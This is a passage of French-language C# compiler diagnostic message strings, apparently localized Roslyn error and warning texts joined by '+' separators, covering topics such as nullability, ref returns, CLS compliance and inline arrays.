'{0}' n'est pas valide. + Impossible d'utiliser plusieurs types dans une instruction for, using, fixed ou declaration + La variable de portée '{0}' ne peut pas être assignée à -- elle est en lecture seule + '{0}' ne contient pas de constructeur qui accepte des arguments {1} + Les chaînes de culture d'assembly ne peuvent pas contenir de caractères null incorporés. + Liste de paramètres inattendue. + Un initialiseur de module doit être une méthode membre ordinaire + Un champ fixe ne doit pas être un champ ref. + chaînes interpolées constantes + '{0}' : impossible de spécifier à la fois une classe de contrainte et la contrainte 'unmanaged' + Impossible d’utiliser la variable '{0}' dans ce contexte, car elle peut exposer des variables référencées en dehors de leur étendue de déclaration + Il n'est pas correct d'utiliser le type Nullable '{0}?' dans un modèle. Utilisez le type sous-jacent '{0}' à la place. + Un membre d’interface virtuelle ou abstraite statique est accessible uniquement sur un paramètre de type. + Soit les deux déclarations de méthode partielles utilisent un paramètre params, soit aucune des deux + '{0}' dans la déclaration d'interface explicite est introuvable parmi les membres de l'interface pouvant être implémentée + Le type '{1}' dans '{0}' est en conflit avec le type importé '{3}' dans '{2}'. Utilisation du type défini dans '{0}'. + L'application explicite de 'System.Runtime.CompilerServices.NullableAttribute' n'est pas autorisée. + Les éléments de tableau ne peuvent pas être de type '{0}' + Les modificateurs ne peuvent pas être placés sur des déclarations d'accesseurs d'événement + '{0}' n’implémente pas le membre d’interface '{1}'. '{2}' ne peut pas implémenter implicitement un membre inaccessible. + La classe de base '{0}' doit précéder les interfaces + L’expression conditionnelle n’est pas valide dans la version de langage {0}, car il n’existe pas de type commun entre « {1} » et « {2} ». Pour utiliser une conversion de type cible, effectuez une mise à niveau vers la version de langage {3} ou ultérieure. + Options spécifiées en conflit : fichier de ressources Win32 ; manifeste Win32 + Les itérateurs ne peuvent pas avoir de paramètres de type pointeur + Impossible d'appliquer CallerMemberNameAttribute, car il n'existe pas de conversion standard du type '{0}' en type '{1}' + Impossible de retourner par référence un membre du paramètre '{0}', car il ne s'agit pas d'un paramètre ref ou out + (Emplacement du symbole par rapport à l'erreur précédente) + L'argument stdin '-' est spécifié, mais l'entrée n'a pas été redirigée à partir du flux d'entrée standard. + Impossible de générer une valeur dans le corps d'une clause catch + La nullabilité des types référence dans le type de retour ne correspond pas au membre implémenté implicitement (probablement en raison des attributs de nullabilité). + S'agissant d'une méthode asynchrone, l'expression de retour doit être de type « {0} » plutôt que « {1} » + { ou ; attendu + Le mot clé 'this' n'est pas valide dans un initialiseur de propriété statique, de méthode statique ou de champ statique + Le paramètre a un modificateur de paramètres dans l’expression lambda mais pas dans le type délégué cible. + Le membre d'interface '{0}' n'a pas l'implémentation la plus spécifique. '{1}' et '{2}' ne sont pas les plus spécifiques. + paramètre facultatif + Le chemin de recherche spécifié n'est pas correct + Impossible de retourner 'this' par référence. + Le type interop qui correspond au type interop incorporé '{0}' est introuvable. Vous manque-t-il une référence d'assembly ? + Cet avertissement survient si les attributs de l'assembly AssemblyKeyFileAttribute ou AssemblyKeyNameAttribute trouvés dans la source entrent en conflit avec l'option de ligne de commande /keyfile ou /keycontainer ou le nom de fichier clé ou le conteneur clé indiqué dans les propriétés du projet. + Cet avertissement indique qu'un attribut, tel que InternalsVisibleToAttribute, n'a pas été spécifié correctement. + aiguille + Une déclaration de variable par référence doit avoir un initialiseur + 'MethodImplOptions.Synchronized' ne peut pas être appliqué à une méthode async + Impossible de retourner un paramètre par référence '{0}', car il ne s’agit pas d’un paramètre ref + '{0}' n'est pas un modificateur de type de retour de pointeur de fonction valide. Les modificateurs valides sont 'ref' et 'ref readonly'. + L’argument {0} ne peut pas être passé avec le mot clé 'ref' dans la version de langage {1}. Pour passer les arguments 'ref' aux paramètres 'in', effectuez une mise à niveau vers la version de langage {2} ou une version ultérieure. + Création d'objet non valide + Le paramètre doit avoir une valeur non null au moment de la sortie, car le paramètre référencé par NotNullIfNotNull a une valeur non null. + Les éléments définis dans un espace de noms ne peuvent pas être explicitement déclarés comme private, protected ou protected internal ou private protected + L’un des paramètres d’un opérateur binaire doit être le type conteneur ou son paramètre de type lui être contraint. + L'option /moduleassemblyname ne peut être spécifiée que lors de la génération d'un type cible de 'module' + La nullabilité des types référence dans le type de retour de '{0}' ne correspond pas au délégué cible '{1}' (probablement en raison des attributs de nullabilité). + Le paramètre de type '{0}' hérite des contraintes en conflit '{1}' et '{2}' + L'identificateur de ressource '{0}' a déjà été utilisé dans cet assembly + La valeur de paramètre par défaut pour '{0}' doit être constante au moment de la compilation + Le programme ne contient pas de méthode 'Main' statique adaptée à un point d'entrée + Impossible de retourner le paramètre de constructeur principal '{0}' par référence. + Le membre d'enregistrement '{0}' ne peut pas être static. + Cette erreur survient quand un type de système prédéfini tel que System.Int32 est trouvé dans deux assemblys. Cela peut se produire quand vous référencez mscorlib ou System.Runtime.dll depuis deux emplacements différents, comme si vous tentiez d'exécuter deux versions du .NET Framework côte à côte. + Impossible d'effectuer un retour par référence d'un membre de '{0}', car il a été initialisé à une valeur qui ne peut pas être retournée par référence + Le '{0}' de membre requis ne peut pas être masqué par '{1}'. + Les méthodes qui possèdent des arguments de variables ne sont pas conformes CLS + Utilisez Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal pour créer des jetons de littéral numérique. + Soit les deux déclarations de méthode partielles sont statiques, soit aucune ne l'est + '{0}' n'est pas un type référence requis par l'instruction lock + '{0}' n'implémente pas le modèle '{1}'. '{2}' n'est pas une méthode d'extension ou d'instance publique. + L'instruction foreach asynchrone ne peut pas fonctionner sur des variables de type '{0}', car elle implémente plusieurs instanciations de '{1}' ; essayez de caster en une instanciation d'interface spécifique + Le champ ref doit être assigné à la référence avant d’être utilisé. + Impossible de retourner un champ readonly statique par référence accessible en écriture + L'instruction foreach asynchrone ne peut pas fonctionner sur des variables de type '{0}', car '{0}' ne contient pas de définition d'extension ou d'instance publique pour '{1}'. Vouliez-vous dire 'foreach' plutôt que 'await foreach' ? + Impossible de déclarer un opérateur de conversion 'implicite' défini par l’utilisateur + Les interfaces conformes CLS doivent uniquement avoir des membres conformes CLS + Les modules ajoutés doivent être marqués avec l'attribut CLSCompliant pour correspondre à l'assembly + '{0}' : un paramètre, une variable locale ou une fonction locale ne peut pas avoir le même nom qu'un paramètre de type de méthode + Le type de retour n'est pas conforme CLS + Erreur lors de l'ouverture du fichier d'icône {0} -- {1} + '{0}' ne peut pas implémenter le membre d'interface '{1}' dans le type '{2}', car il a un paramètre __arglist + L'assembly chargé référence le .NET Framework, ce qui n'est pas pris en charge. + Cette combinaison d'arguments pour '{0}' peut exposer les variables référencées par le paramètre '{1}' en dehors de la portée de leur déclaration + Impossible de déduire le type de la variable de déconstruction implicitement typée '{0}'. + Le membre ne peut pas être utilisé dans cet attribut. + Les contraintes des méthodes d'implémentation d'interface par remplacement et explicites sont héritées de la méthode de base. Elles ne peuvent donc pas être spécifiées directement, sauf pour une contrainte 'class' ou 'struct'. + Nom de fichier spécifié non valide pour la directive de préprocesseur + Le paramètre de constructeur principal struct '{0}' de type '{1}' provoque un cycle dans la disposition du struct + '{0}' est défini dans l’assemblée '{1}'. + Un caractère '{0}' doit faire l'objet d'une séquence d'échappement (par doublement) dans une chaîne interpolée. + Impossible de convertir le groupe de méthodes '{0}' en type non-délégué '{1}'. Souhaitiez-vous appeler la méthode? + méthode d'extension + L'expression n'a pas de nom. + L'intercepteur doit avoir un paramètre 'ce' correspondant au paramètre '{0}' sur '{1}'. + Erreur inattendue lors de l'écriture des informations de débogage -- '{0}' + Compilation (C#) : + Le type n’est pas conforme CLS + Impossible de convertir en type static '{0}' + Le type n'a pas de constructeur accessible utilisant uniquement des types conformes CLS + Un membre est retourné par référence, mais il a été initialisé à une valeur qui ne peut pas être retournée par référence + 'Impossible de marquer '{0}' comme conforme CLS, car il s'agit d'un membre de type '{1}' non conforme CLS + L'expression de filtre est une constante 'false' ; supprimez la clause catch + types anonymes + La constante '{0}' ne peut pas être marquée comme static + Impossible d'utiliser la propriété ou l'indexeur '{0}' dans ce contexte, car il lui manque l'accesseur get + Les propriétés d'instance implémentées automatiquement dans les structs en lecture seule doivent être en lecture seule. + Un type de retour de type tâche générique est attendu, mais le type « {0} » trouvé dans l’attribut ’AsyncMethodBuilder’ n’était pas approprié. Il doit s’agir d’un type générique indépendant d’arité One, et son type conteneur (le cas échéant) doit être non générique. + Les propriétés d'instance dans les interfaces ne peuvent pas avoir d'initialiseurs. + La version de langage spécifiée '{0}' ne peut pas avoir de zéros non significatifs + L'initialiseur de module ne peut pas être attribué avec 'UnmanagedCallersOnly'. + Erreur lors de l'ouverture du fichier réponse '{0}' + La meilleure méthode Add surchargée pour l'élément initialiseur de collection est obsolète + La nullabilité des types référence dans le type du paramètre ne correspond pas au délégué cible (probablement en raison des attributs de nullabilité). + ToString scellé dans l’enregistrement + Accessibilité incohérente : le type de retour '{1}' est moins accessible que l'opérateur '{0}' + Alias extern non utilisé. + Faire référence à une variable de sortie implicitement typée '{0}' n'est pas autorisé dans la même liste d'arguments. + Modificateur partiel manquant dans la déclaration de type '{0}' ; il existe une autre déclaration partielle de ce type + Impossible de convertir l'expression en '{0}' car il ne s'agit pas d'une variable attribuable + '{0}' : substitution impossible, car '{1}' n'a pas d'accesseur set substituable + Modèle manquant + L'alias extern '{0}' n'a pas été spécifié dans une option /reference + '{0}' n'est pas un emplacement d'attribut reconnu. Les emplacements d'attributs valides pour cette déclaration sont '{1}'. Tous les attributs de ce bloc seront ignorés. + __arglist ne peut pas avoir un argument de type void + Le paramètre {0} doit être déclaré avec le mot clé '{1}' + L'interface '{0}' a une interface source non valide qui est nécessaire à l'incorporation de l'événement '{1}'. + La méthode surchargée '{0}' correspondant le mieux à l'élément de l'initialiseur de collection ne peut pas être utilisée. Les méthodes 'Add' de l'initialiseur de collection ne peuvent pas avoir de paramètres ref ou out. + Le type est utilisé à des fins d'évaluation uniquement. Il sera peut-être changé ou supprimé au cours des prochaines mises à jour. + L’opérateur '&' ne doit pas être utilisé sur les paramètres ou les variables locales dans les méthodes asynchrones. + '{0}' : aucune méthode appropriée n'a été trouvée pour la substitution + <liste de chemins d'accès> + Impossible de supprimer les membres de '{0}', car il s'agit d'un '{1}' + '{0}' : seuls les membres conformes CLS peuvent être abstract + Directive using non nécessaire + Impossible de lier des fichiers de ressources lors de la création d'un module + <espace de noms global> + Dépendance de contrainte circulaire utilisant '{0}' et '{1}' + '{0}' définit l'opérateur == ou l'opérateur != mais ne se substitue pas à Object.GetHashCode() + Versions de langage prises en charge : + Le nom '_' fait référence à la constante, pas au modèle d'abandon. Utilisez 'var _' pour abandonner la valeur, ou '@_' pour faire référence à une constante par ce nom. + Un des paramètres d'un opérateur binaire doit être le type conteneur + '{0}' n'implémente pas '{1}' + Impossible d'accéder au membre protégé '{0}' par l'intermédiaire d'un qualificateur de type '{1}' ; le qualificateur doit être de type '{2}' (ou dérivé de celui-ci) + Les littéraux de chaîne brute ne sont pas autorisés dans les directives de préprocesseur. + Membre requis par le compilateur '{0}.{1}' manquant + Les attributs d'assembly et de module ne sont pas autorisés dans ce contexte + Commentaire sur une seule ligne ou fin de ligne attendue + Un membre ne masque pas un membre hérité ; le mot clé new n'est pas requis + Le type du générateur CollectionBuilderAttribute doit être une classe ou un struct non générique. + Les structs sans constructeurs explicites ne peuvent pas contenir de membres avec initialiseurs + '{0}' : les classes static ne peuvent pas être utilisées en tant que contraintes + Le type de retour d'une méthode async doit être void, Task, Task<T>, un type de tâche, IAsyncEnumerable<T> ou IAsyncEnumerator<T> + Impossible de résoudre l'attribut cref '{0}' du commentaire XML + Nom de type '{0}' introuvable dans l'espace de noms '{1}'. Ce type a été transmis à l'assembly '{2}'. Ajoutez une référence à cet assembly. + La méthode '{0}' spécifie une contrainte 'class' pour le paramètre de type '{1}', mais le paramètre de type '{2}' correspondant de la méthode substituée ou explicitement implémentée '{3}' n'est pas un type référence. + Foreach ne peut pas fonctionner sur un '{0}'. Souhaitiez-vous appeler '{0}' ? + Une référence à un champ volatile ne sera pas considérée comme volatile + L'accès à un membre sur le champ d'une classe de marshaling par référence peut entraîner une exception de runtime + Un champ ne peut pas être de type void + Le nom de méthode possible '{0}' ne peut pas être intercepté car il n'est pas appelé. + Le type de base n'est pas conforme CLS + Les membres du paramètre du constructeur principal '{0}' d'un type en lecture seule ne peuvent pas être modifiés (sauf dans le setter de init-only du type ou dans l'initialiseur de variable). + Les méthodes d'extension doivent être définies dans une classe statique de niveau supérieur ; {0} est une classe imbriquée + La convention d'appel de '{0}' n'est pas prise en charge par le langage. + Le module '{0}' est déjà défini dans cet assembly. Chaque module doit avoir un nom de fichier unique. + Les attributs ne sont pas valides dans ce contexte + mémoires tampons de taille fixe + Point-virgule non valide après un bloc de méthode ou d'accesseur + Impossible d'utiliser les membres de {0} '{1}' en tant que valeur ref ou out, car il s'agit d'une variable en lecture seule + Impossible de vérifier l’opérateur défini par l’utilisateur '{0}' + L'incorporation du type interop '{0}' de l'assembly '{1}' entraîne un conflit de noms dans l'assembly actuel. Attribuez à la propriété 'Incorporer les types interop' la valeur false. + Les méthodes qui possèdent des arguments de variables ne sont pas conformes CLS + '{0}' : les modificateurs d'accessibilité au niveau des accesseurs ne peuvent être utilisés que si la propriété ou l'indexeur a un accesseur get et un accesseur set + Impossible de définir une classe ou un membre qui utilise 'dynamic', car le type requis par le compilateur '{0}' est introuvable. Vous manque-t-il une référence ? + Le modificateur 'abstract' n'est pas valide dans les champs. Essayez d'utiliser une propriété à la place. + Un constructeur de copie '{0}' doit être public ou protégé, car l'enregistrement n'est pas sealed. + commutateur sur type booléen + Le résultat de l'expression est toujours 'null' de type '{0}' + La nullabilité des types référence dans le type de paramètre '{0}' ne correspond pas à la déclaration de méthode partielle. + L'attribut CLSCompliant n'a pas de sens lorsqu'il est appliqué à des types de retour + Impossible de convertir {0} dans le type de délégué souhaité, car certains types de retour ne sont pas implicitement convertibles en type de retour délégué + Commentaire XML manquant pour le type ou le membre visible publiquement '{0}' + Le membre '{0}' implémente le membre d'interface '{1}' dans le type '{2}'. Il existe plusieurs correspondances pour le membre d'interface au moment de l'exécution. La méthode appelée dépend de l'implémentation. + Le compilateur émet cet avertissement lorsqu'il remplace une erreur par un avertissement. Pour plus d'informations sur ce problème, recherchez le code d'erreur indiqué. + variable using + La contrainte new() doit être la dernière contrainte spécifiée + '{0}' est déjà listé dans la liste d'interfaces du type '{2}' avec d'autres noms d'éléments tuples, notamment '{1}'. + Impossible d'utiliser l'argument de type '{0}' en tant que sortie de type '{1}' pour le paramètre '{2}' dans '{3}'. En effet, il existe des différences dans l'acceptation des valeurs null par les types référence. + champs ref + Le champ '{0}' n'est jamais assigné et aura toujours sa valeur par défaut {1} + La référence d'assembly Friend '{0}' n'est pas valide. Les assemblys signés avec un nom fort doivent spécifier une clé publique dans leurs déclarations InternalsVisibleTo. + Le type n'est pas conforme CLS, car l'interface de base n'est pas conforme CLS + Le type '{1}' définit déjà un membre appelé '{0}' avec les mêmes types de paramètre + <!-- Badly formed XML comment ignored for member "{0}" --> + La structure de tableau en ligne ne doit pas avoir de mise en page explicite. + Impossible de convertir un bloc de méthode anonyme sans une liste de paramètres en type délégué '{0}', car il compte un ou plusieurs paramètres out + La nullabilité de type du paramètre '{0}' ne correspond pas au membre substitué (probablement en raison des attributs de nullabilité). + L'attribut '{0}' n'est valide que sur les méthodes ou les classes d'attributs + La longueur du tableau en ligne doit être supérieure à 0. + Le mot clé 'void' ne peut pas être utilisé dans ce contexte + L'expression switch ne gère pas certaines entrées null (elle n'est pas exhaustive). Par exemple, le modèle '{0}' n'est pas couvert. Toutefois, un modèle avec une clause 'when' peut correspondre à cette valeur. + La fonctionnalité de langage 'Tableaux inline' n’est pas prise en charge pour les types tableau inline avec un champ d’élément qui est un champ 'ref' ou dont le type n’est pas valide en tant qu’argument de type. + L'espace de noms '{1}' contient déjà une définition pour '{0}' + éléments : ne doivent pas être vides + fonctions locales externes + Identificateur ou littéral numérique attendu. + Le commentaire XML sur '{1}' a une balise paramref pour '{0}', alors qu'il n'existe aucun paramètre de ce nom + Opérateur unaire surchargeable attendu + Retourne par référence un membre du paramètre '{0}' qui n’est pas un paramètre ref ou out + Impossible d’effectuer une recherche de membre non virtuel dans '{0}', car il s’agit d’un paramètre de type + Un sous-modèle de propriété nécessite une correspondance de la référence à la propriété ou au champ. Exemple : '{{ Name: {0} }}' + Le nom de module '{0}' stocké dans '{1}' doit correspondre à son nom de fichier. + Impossible de convertir un littéral ayant une valeur null en type référence non-nullable. + L'utilisation de '{0}' en tant que valeur ref ou out, ou la prise de son adresse, peut provoquer une exception runtime, car il s'agit d'un champ d'une classe de marshaling par référence + La chaîne de version spécifiée '{0}' n’est pas conforme au format recommandé : major.minor.build.revision + Retourne par référence un membre du paramètre qui n’est pas un paramètre ref ou out + '{0}' : les éléments de tableau ne peuvent pas être de type static + constructeur + SyntaxTree ne faisant pas partie de la compilation, il ne peut pas être supprimé + Impossible de déterminer le type d'expression conditionnelle, car il n'existe pas de conversion implicite entre '{0}' et '{1}' + Impossible d'assigner à '{0}', car il s'agit d'un '{1}' + L'événement '{0}' ne peut apparaître qu'à gauche de += ou -= (sauf quand il est utilisé à partir du type '{1}') + Impossible d'utiliser la propriété ou l'indexeur '{0}' dans ce contexte, car l'accesseur set n'est pas accessible + Le modificateur 'scoped' du paramètre '{0}' ne correspond pas au '{1}' cible. + {0} n'est pas une expression de conversion C# valide + L'argument nommé '{0}' spécifie un paramètre pour lequel un paramètre positionnel a déjà été donné + Impossible de convertir le groupe de méthodes '{0}' en type non-délégué '{1}'. Souhaitiez-vous appeler la méthode ? + Option /win32manifest ignorée pour le module, car elle s'applique uniquement aux assemblys + Avec foreach, le type de retour '{0}' de '{1}' doit avoir une méthode 'MoveNext' publique appropriée et une propriété 'Current' publique + (Emplacement du symbole par rapport à l'avertissement précédent) + Les initialiseurs de tableau ne peuvent être utilisés que dans un initialiseur de champ ou de variable. Essayez plutôt d'utiliser une expression new. + <Null> + <texte> + contraintes de paramètre de type par défaut + Incompatibilité de référence entre '{0}' et le délégué '{1}' + '{0}' : substitution impossible, car '{1}' n'est pas une fonction + variable locale implicitement typée + Le membre d'enregistrement '{0}' doit être une propriété d'instance our champ lisible de type '{1}' pour correspondre au paramètre positionnel '{2}'. + '{0}' ne peut pas implémenter le membre d'interface '{1}' dans le type '{2}', car le runtime cible ne prend pas en charge l'implémentation d'interface par défaut. + La structure de tableau en ligne doit déclarer un et un seul champ d'instance. + Le type prédéfini '{0}' doit être un struct. + Un accès au tableau en ligne peut ne pas avoir de spécificateur d'argument nommé + tableau implicitement typé + Utilisez Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Identifier ou Microsoft.CodeAnalysis.CSharp.SyntaxFactory.VerbatimIdentifier pour créer des jetons d'identificateur. + Le mot clé « délégué » ne peut pas être utilisé comme contrainte. Vouliez-vous dire « System.Delegate » ? + '{0}' : le type utilisé dans une instruction using doit être implicitement convertible en 'System.IDisposable'. + Possibilité d'une comparaison de références involontaire ; pour obtenir une comparaison de valeurs, effectuez un cast de la partie gauche en type '{0}' + Spécificateur de rang non valide : ',' ou ']' attendu + Accesseur de propriété déjà défini + Impossible d'initialiser une variable implicitement typée avec un initialiseur de tableau + Saut de ligne dans la constante + 'warnings', 'annotations' ou fin de directive attendu + Désolé... Nous ne pouvons pas créer d'instance d'analyseur + Le corps de '{0}' ne peut pas être un bloc itérateur, car '{1}' n'est pas un type d'interface itérateur + L'expression assignée à '{0}' doit être constante + La taille du tableau ne peut pas être spécifiée dans une déclaration de variable (essayez d'initialiser avec une expression 'new') + L'expression de filtre est une constante 'false'. + '{0}' : un événement abstrait ne peut pas avoir d'initialiseur + Plusieurs assemblys ayant une identité équivalente ont été importés : '{0}' et '{1}'. Supprimez une des références en double. + '{0}' : le type utilisé dans une instruction using doit être implicitement convertible en 'System.IDisposable'. Est-ce qu'il ne s'agit pas plutôt de 'await using' au lieu de 'using' ? + Le type '{1}' dans '{0}' est en conflit avec l'espace de noms '{3}' dans '{2}' + L'entrée correspond toujours au modèle fourni. + Le paramètre '{0}' est capturé dans l'état du type englobant et sa valeur est également utilisée pour initialiser un champ, une propriété ou un événement. + CallerLineNumberAttribute n'aura pas d'effet, car il s'applique à un membre utilisé dans des contextes qui n'autorisent pas d'arguments facultatifs + Type attendu + La position doit se trouver dans l'étendue de l'arborescence de syntaxe. + initialiseurs de module + Une arborescence de l'expression ne peut pas contenir un initialiseur de tableau à plusieurs dimensions + Le runtime cible ne prend pas en charge les conventions d'appel par défaut des environnements extensibles ou d'exécution. + InterpolatedStringHandlerArgument n’a aucun effet lorsqu’il est appliqué aux paramètres lambda et qu’il est ignoré sur le site d’appel. + Les interfaces ne peuvent pas contenir de champs d'instance + Impossible de retourner '{0}' par référence, car il a été initialisé à une valeur qui ne peut pas être retournée par référence + Une directive using globale doit précéder toutes les directives using non globales. + Utilisation inattendue d'un nom doté d'un alias + Un tableau de paramètres ne peut pas être utilisé avec le modificateur 'this' dans une méthode d'extension + L'appel à la méthode '{0}' doit être dispatché dynamiquement mais ne peut pas l'être, car il fait partie d'une expression d'accès de base. Effectuez un cast des arguments dynamiques ou supprimez l'accès de base. + Une propriété implémentée automatiquement doit être entièrement affectée avant que le contrôle soit renvoyé à l’appelant. Envisagez de mettre à jour la version de langage pour utiliser la propriété par défaut automatique. + '{0}' : un type ne peut pas être à la fois static et sealed + Les déclarations partielles de '{0}' doivent être toutes les classes, toutes les classes d’enregistrement, tous les structs, tous les structs d’enregistrement ou toutes les interfaces + GetEnumerator de l'extension + Le nom de type '{0}' contient uniquement des caractères ascii en minuscules. De tels noms peuvent devenir réservés pour la langue. + Le champ conforme CLS '{0}' ne peut pas être volatile + Cette version de « {0} » ne peut pas être utilisée avec des expressions de collection. + Mot clé contextuel 'equals' attendu + 'La syntaxe 'id#' n'est plus prise en charge. Utilisez '$id' à la place. + La ligne et le numéro de caractère fournis ne font pas référence au début du jeton '{0}'. Vouliez-vous utiliser la ligne '{1}' et le caractère '{2}' ? + Le point d'entrée du programme est du code global ; ce point d'entrée est ignoré + La nullabilité des types référence dans le type de paramètre '{0}' de '{1}' ne correspond pas au membre implémenté implicitement '{2}'. + Le champ n'est jamais utilisé + L'objet '{0}' peut être supprimé plusieurs fois. + Une arborescence de l'expression ne peut pas contenir un opérateur de tuple == ou != + '{0}' n'implémente pas le membre d'interface '{1}'. '{2}' ne peut pas implémenter '{1}', car il n'a pas de retour par référence correspondant. + '{0}' ne peut pas être utilisé comme modificateur pour un paramètre de pointeur de fonction. + Les mémoires tampons de taille fixe ne sont accessibles que via des variables locales ou des champs + Le commentaire XML sur '{1}' a une balise typeparamref pour '{0}', alors qu'il n'existe aucun paramètre de type de ce nom + L’un des paramètres d’un opérateur d’égalité ou d’inégalité déclaré dans l’interface «{0}» doit être un paramètre de type sur «{0}» limité à «{0}» + littéraux de chaîne brute + expression conditionnelle de type cible + Remplacement du générateur de méthode asynchrone + Dans les attributs cref, les types imbriqués de types génériques doivent être qualifiés + Une arborescence de l'expression ne peut pas contenir une spécification d'argument nommé + Type de cible non valide pour /target : vous devez spécifier 'exe', 'winexe', 'library' ou 'module' + Un champ readonly statique ne peut pas être assigné (sauf s'il appartient à un constructeur statique ou un initialiseur de variable) + Le membre '{0}' est inaccessible avec une référence d'instance ; qualifiez-le avec un nom de type + Assignation potentiellement incorrecte à la variable locale qui est l'argument d'une instruction using ou lock + Le membre obligatoire '{0}' ne doit pas être attribué avec 'ObsoleteAttribute', sauf si le type conteneur est obsolète ou si tous les constructeurs sont obsolètes. + Une fonction anonyme statique ne peut pas contenir de référence à '{0}'. + Le contrôle ne peut pas laisser le corps d'une clause finally + Paramètre '{0}' est capturé dans l’état du type englobant et sa valeur est également passée au constructeur de base. La valeur peut également être capturée par la classe de base. + Le nœud de syntaxe ne se trouve pas dans l'arborescence de syntaxe + Les retours par référence ne peuvent être utilisés que dans les méthodes qui effectuent un retour par référence + Existence possible d'un retour de référence null. + Impossible d'utiliser le type '{3}' en tant que paramètre de type '{2}' dans le type ou la méthode générique '{0}'. La nullabilité de l'argument de type '{3}' ne correspond pas au type de contrainte '{1}'. + L'expression donnée correspond toujours au modèle fourni. + Le type '{0}' ne peut pas être déclaré const + Ne pas comparer les valeurs des pointeurs de fonction + Les méthodes Async ne doivent pas avoir de paramètres ref, in ou out + Le contrôle ne peut pas sortir du commutateur à partir de l'étiquette case finale ('{0}') + La directive using de '{0}' est apparue précédemment dans cet espace de noms + La propriété, l'indexeur ou l'événement '{0}' n'est pas pris en charge par le langage ; essayez d'appeler directement la méthode d'accesseur '{1}' + La propriété, l'indexeur ou l'événement '{0}' n'est pas pris en charge par le langage ; essayez d'appeler directement les méthodes d'accesseur '{1}' ou '{2}' + '{0}' : les conversions définies par l'utilisateur vers ou à partir d'une interface ne sont pas autorisées + N'utilisez pas refout quand vous utilisez refonly. + Impossible d'utiliser le paramètre ref, out ou in '{0}' dans une méthode anonyme, une expression lambda, une expression de requête ou une fonction locale + Le résultat de l'expression est toujours 'null' + Échec de l'émission du module '{0}' : {1} + expression throw + La méthode '{0}' ne peut pas implémenter l'accesseur d'interface '{1}' pour le type '{2}'. Utilisez une implémentation d'interface explicite. + attributs de fonction locale + L'alias '{0}' est en conflit avec la définition de {1} + '{0}' ne contient pas de définition pour '{1}' + Constante intégrale trop grande + Fichier introuvable. + Une déclaration n'est pas autorisée dans ce contexte. + Un point d'entrée qui retourne void ou int ne peut pas être async + Le commentaire XML a une balise typeparamref, alors qu'il n'existe aucun paramètre de type de ce nom + Le nom local est trop long pour PDB + L'attribut Guid doit être spécifié avec l'attribut ComImport + La nullabilité des types référence dans le type de paramètre '{0}' ne correspond pas au membre substitué. + Impossible de générer une valeur dans le corps d'un bloc try avec une clause catch + L'implémentation d'interface explicite correspond à plusieurs membres d'interface + Impossible de spécifier /main en cas de génération d'un module ou d'une bibliothèque + Impossible d'utiliser une collection de type dynamique dans un foreach asynchrone + La nullabilité des types référence dans le type de retour ne correspond pas au membre implémenté implicitement. + Le type est utilisé à des fins d’évaluation uniquement et est susceptible d’être modifié ou supprimé dans les futures mises à jour. Supprimez ce diagnostic pour continuer. + fonction anonyme statique + L’argument {0} doit être passé avec mot clé 'ref' ou 'in' + Une expression de type '{0}' n'est pas autorisée dans une clause from ultérieure dans une expression de requête avec un type source '{1}'. L'inférence de type a échoué dans l'appel à '{2}'. + opérateur de propagation null + Les assemblys '{0}' et '{1}' font référence aux mêmes métadonnées, mais un seul est une référence liée (spécifiée avec l'option using /link) ; supprimez une des références. + retours covariants + covariant + Liste d'arguments inattendue. + Les membres nommés 'Clone' ne sont pas autorisés dans les enregistrements. + Les champs de mémoire tampon de taille fixe ne peuvent être membres que de structs + Une arborescence de l'expression ne peut pas contenir une conversion de tuple. + La ligne ne commence pas par le même espace que la dernière ligne du littéral de chaîne brute. + membres abstraits statiques dans les interfaces + Impossible de lire le fichier de configuration '{0}' -- '{1}' + L'appel de l'indexeur d'index implicite ne peut pas nommer l'argument. + Les expressions lambda Async ne peuvent pas être converties en arborescences de l'expression + Le paramètre de type '{1}' a la contrainte 'struct', donc '{1}' ne peut pas être utilisé comme contrainte pour '{0}' + membre d'instance dans 'nameof' + Le type prédéfini '{0}' n'est pas défini ou importé + L'opération peut dépasser {0}' au moment de l'exécution (utilisez la syntaxe 'unchecked' pour passer outre). + Impossible d'utiliser une éventuelle valeur null pour un type marqué avec [NotNull] ou [DisallowNull] + L'accesseur 'init' est non valide sur les membres statiques + L'argument de type ne peut pas avoir la valeur null + Une déclaration d'alias extern doit précéder tous les autres éléments définis dans l'espace de noms + Option non valide '{0}' pour /platform ; la valeur doit être anycpu, x86, Itanium, arm, arm64 ou x64 + L'argument de l'attribut '{0}' doit être un identificateur valide + variables for loop de référence + CallerMemberNameAttribute, qui est appliqué au paramètre '{0}', n'aura aucun effet. Il est remplacé par CallerFilePathAttribute. + Les éléments d'un type de tableau en ligne ne sont accessibles qu'avec un seul argument implicitement convertible en 'int', 'System.Index' ou 'System.Range'. + Accessibilité incohérente : le type de retour '{1}' est moins accessible que le délégué '{0}' + Impossible d'appliquer l'attribut de sécurité '{0}' à une méthode Async. + Les attributs de l'assembly et du module doivent précéder tous les autres éléments définis dans un fichier à l'exception des clauses using et des déclarations d'alias extern + Le type ne peut pas être utilisé dans ce contexte, car il ne peut pas être représenté dans les métadonnées. + Une référence a été créée pour l'assembly d'interopérabilité incorporé en raison d'une référence indirecte à cet assembly + Le membre struct retourne 'this' ou d'autres membres d'instance par référence + Le type non managé '{0}' n'est valide que pour les champs. + Impossible de déterminer le répertoire de sortie + Les littéraux de chaîne brute multiligne doivent contenir au moins une ligne de contenu. + Le second opérande d'un opérateur 'is' ou 'as' ne peut pas être du type static '{0}' + L'opérateur unaire surchargé '{0}' prend un paramètre + Impossible d'utiliser le type unsafe '{0}' dans la création d'objet + Les numéros de ligne et de caractère fournis à InterceptsLocationAttribute doivent être positifs. + Des parenthèses sont obligatoires autour de l'expression régissant switch. + Utilisation du paramètre out non assigné '{0}' + contravariant + Paramètre '{0}' non lu. + L'attribut Conditional n'est pas valide sur les membres d'interface + Impossible de modifier le résultat d'une conversion unboxing + ref et out ne sont pas valides dans ce contexte + La balise de fin '{0}' ne correspond pas à la balise de début '{1}'. + La partie droite d'une assignation d'instruction fixed peut ne pas être une expression de cast + méthodes d'extension par référence + Impossible de modifier les membres d'un champ readonly '{0}' (sauf s'ils appartiennent à un constructeur ou un initialiseur de variable) + En supposant que la référence d'assembly '{0}' utilisée par '{1}' correspond à l'identité '{2}' de '{3}', il se peut que vous deviez fournir une stratégie runtime + Les types de tuple utilisés en tant qu'opérandes d'un opérateur == ou != doivent avoir des cardinalités correspondantes. Toutefois, cet opérateur a des types de tuple de cardinalité 